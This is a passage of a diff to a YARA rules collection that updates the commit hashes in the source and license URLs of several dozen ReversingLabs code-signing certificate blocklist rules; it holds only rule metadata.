 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2806-L2822"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2806-L2822"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "187f6ef0de869500526d1b0d5c6f6762b0a939e06781e633a602834687c64023"
 		score = 75
 		quality = 90
@@ -5256,8 +5309,8 @@ rule REVERSINGLABS_Cert_Blocklist_039E5D0E3297F574Db99E1D9503853D9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2824-L2840"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2824-L2840"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2f150f60b7dce583fc68705f0b29a7c8684f1b69020275b2ec1ac6beeaa63952"
 		score = 75
 		quality = 90
@@ -5281,8 +5334,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bc32Bbe5Bbb4F06F490C50651Cd5Da50 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2842-L2860"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2842-L2860"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "104be481b7d4b1cb3c43c72314afc3641983838b5177c34a88d6da0d0e7b89c9"
 		score = 75
 		quality = 90
@@ -5306,8 +5359,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E1656Dfcaacfed7C2D2564355698Aa3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2862-L2878"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2862-L2878"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ba7cca8d71f571644cabd3d491cddefffd05ca7a838f262a343a01e4a09bb72a"
 		score = 75
 		quality = 90
@@ -5331,8 +5384,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Bf1D68E926E2Dd8966008C44F95Ea1C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2880-L2896"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2880-L2896"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "44b5aae8380e3590ebb6e2365e89b3827432e8330e5290dc8f8603a00bcf62f6"
 		score = 75
 		quality = 90
@@ -5356,8 +5409,8 @@ rule REVERSINGLABS_Cert_Blocklist_149C12083C145E28155510Cfc19Db0Fe : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2898-L2914"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2898-L2914"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f616fc470e223d65ac4c984394a38d566265ab37829ff566012de0a1527396c2"
 		score = 75
 		quality = 90
@@ -5381,8 +5434,8 @@ rule REVERSINGLABS_Cert_Blocklist_77E0117E8B2B8Faa84Bed961019D5Ef8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2916-L2932"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2916-L2932"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bea94b9da8c176f22a66fe7a4545dcc3a38f727a75a0bc7920d9aece8e24b9b7"
 		score = 75
 		quality = 90
@@ -5406,8 +5459,8 @@ rule REVERSINGLABS_Cert_Blocklist_4F3Feb4Baf377Aea90A463C5Dee63884 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2934-L2950"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2934-L2950"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "56c37e758db33aa40e9a2c1c5a4eb14c2c370f614e838d86bf20c64f79e2a746"
 		score = 75
 		quality = 90
@@ -5431,8 +5484,8 @@ rule REVERSINGLABS_Cert_Blocklist_3D2580E89526F7852B570654Efd9A8Bf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2952-L2968"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2952-L2968"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0f46fcfc8ee06756646899450daa254d3e5261bdc5c2339f20d01971608fff7b"
 		score = 75
 		quality = 90
@@ -5456,8 +5509,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fffe432A53Ff03B9223F88Be1B83D9D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2970-L2986"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2970-L2986"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e7dbe6b95877f9473661ccf26fa6e5142147609adfe0a9bb8b493875325710af"
 		score = 75
 		quality = 90
@@ -5481,8 +5534,8 @@ rule REVERSINGLABS_Cert_Blocklist_832E161Aea5206D815F973E5A1Feb3E7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2988-L3006"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2988-L3006"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "da908de031c78aa012809988e44dea564d32b88b65a2010925c1af85d578a68a"
 		score = 75
 		quality = 90
@@ -5506,8 +5559,8 @@ rule REVERSINGLABS_Cert_Blocklist_09Aecea45Bfd40Ce7D62D7D711916D7D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3008-L3024"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3008-L3024"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d1c6bfb10a244ba866c8aabdff6055388afa8096fd4bd77bb21f781794333e9b"
 		score = 75
 		quality = 90
@@ -5531,8 +5584,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Ff4Eda5Fa641E70162713426401F438 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3026-L3042"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3026-L3042"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58f5e163d9807520497ba55e42c048020f6b7653ed71f3954e7ffb490f4de0e4"
 		score = 75
 		quality = 90
@@ -5556,8 +5609,8 @@ rule REVERSINGLABS_Cert_Blocklist_067Dffc5E3026Eb4C62971C98Ac8A900 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3044-L3060"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3044-L3060"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b7c4cded14afd8ba3feabb6debaa1317917b811b44e22aa8a0b3ea00d689141"
 		score = 75
 		quality = 90
@@ -5581,8 +5634,8 @@ rule REVERSINGLABS_Cert_Blocklist_B1Da219688E51Fd0Bfac2C891D56Cbb8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3062-L3080"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3062-L3080"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "03549214940a8689213bd2eb891da1c1991627c81c8b7f26860141c397409d46"
 		score = 75
 		quality = 90
@@ -5606,8 +5659,8 @@ rule REVERSINGLABS_Cert_Blocklist_7289B0F9Bd641E3E352Dc3183F8De6Be : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3082-L3098"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3082-L3098"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "42b068e85b3aff5e6dd5ec4979f546dc5338ebf8719d86c0641ffb8353959af9"
 		score = 75
 		quality = 90
@@ -5631,8 +5684,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fd7B7A8678A67181A54Bc7499Eba44Da : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3100-L3118"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3100-L3118"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f1e26ea26890043be2c8b9c35ba2e6758b60fe173f00bf4c77cc5289ce0d5600"
 		score = 75
 		quality = 90
@@ -5656,8 +5709,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ebbdd6Cdeda40Ca64513280Ecd625C54 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3120-L3138"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3120-L3138"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1d419f2fe2a9bf744bdde48adc50e0bc48746f1576f96570385a2a1c9ba92d21"
 		score = 75
 		quality = 90
@@ -5681,8 +5734,8 @@ rule REVERSINGLABS_Cert_Blocklist_61Da676C1Dcfcf188276E2C70D68082E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3140-L3156"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3140-L3156"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4f8af4a5c9812e6559218e387e32bc02cb0adcd40d9d4963fefc929f6101ae9a"
 		score = 75
 		quality = 90
@@ -5706,8 +5759,8 @@ rule REVERSINGLABS_Cert_Blocklist_767436921B2698Bd18400A24B01341B6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3158-L3174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3158-L3174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "759bbbc5929463ad68d5dcd28b30401b9ff680f522172ed8d5d7dd3772e07587"
 		score = 75
 		quality = 90
@@ -5731,8 +5784,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E795531B3265510F935187Eca59920A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3176-L3192"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3176-L3192"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d597e88314f9f20283b40058dd74167d0d72f7518277a57f26c15e44b670b386"
 		score = 75
 		quality = 90
@@ -5756,8 +5809,8 @@ rule REVERSINGLABS_Cert_Blocklist_8F40B1485309A064A28B96Bfa3F55F36 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3194-L3212"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3194-L3212"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58dd47bfd2acd698bc27fb03eb51e4b8598ef6c71f7193e3cc4eea63982855f0"
 		score = 75
 		quality = 90
@@ -5781,8 +5834,8 @@ rule REVERSINGLABS_Cert_Blocklist_B2120Facadbb92Cc0A176759604C6A0F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3214-L3232"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3214-L3232"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "08462b1bd3d45824aeea901a4db19365c28d8b8b0f594657df7a59250111729b"
 		score = 75
 		quality = 90
@@ -5806,8 +5859,8 @@ rule REVERSINGLABS_Cert_Blocklist_4F407Eb50803845Cc43937823E1344C0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3234-L3250"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3234-L3250"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4d5a2b0619be902d8a437f204ae1b87222c73d3186930809b1f694bad429aea8"
 		score = 75
 		quality = 90
@@ -5831,8 +5884,8 @@ rule REVERSINGLABS_Cert_Blocklist_6922Bb5De88E4127E1Ac6969E6A199F5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3252-L3268"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3252-L3268"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "39dbaa232ea9125934b3682d780e3821d12e771f2b844d027d99a432fe249d9f"
 		score = 75
 		quality = 90
@@ -5856,8 +5909,8 @@ rule REVERSINGLABS_Cert_Blocklist_73065Efa163B7901Fa1Ccb0A54E80540 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3270-L3286"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3270-L3286"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e420c37c04aa676c266a4c2c228063239815c173a83c39d426c5a674648f1934"
 		score = 75
 		quality = 90
@@ -5881,8 +5934,8 @@ rule REVERSINGLABS_Cert_Blocklist_4842Afad00904Ed8C98811E652Ccb3B7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3288-L3304"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3288-L3304"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b5c7c13369c7b89f1ea5474de3644a12bf6412cb3fa8ade5b66de280fb10cbf"
 		score = 75
 		quality = 90
@@ -5906,8 +5959,8 @@ rule REVERSINGLABS_Cert_Blocklist_5A59A686B4A904D0Fca07153Ea6Db6Cc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3306-L3322"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3306-L3322"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7597b2ba870ec58ac0786a97fb92956406fe019c81f6176cc1a581988d3a9632"
 		score = 75
 		quality = 90
@@ -5931,8 +5984,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B6D8152F4A06Ba781C6677Eea5Ab74B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3324-L3340"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3324-L3340"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bd20cf8e4cab2117361dbe05ae2efe813e7f55667b1f3825cd893313d98dcb5f"
 		score = 75
 		quality = 90
@@ -5956,8 +6009,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Ad60Cea73E1Dd1A3E6C02D9B339C380 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3342-L3358"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3342-L3358"
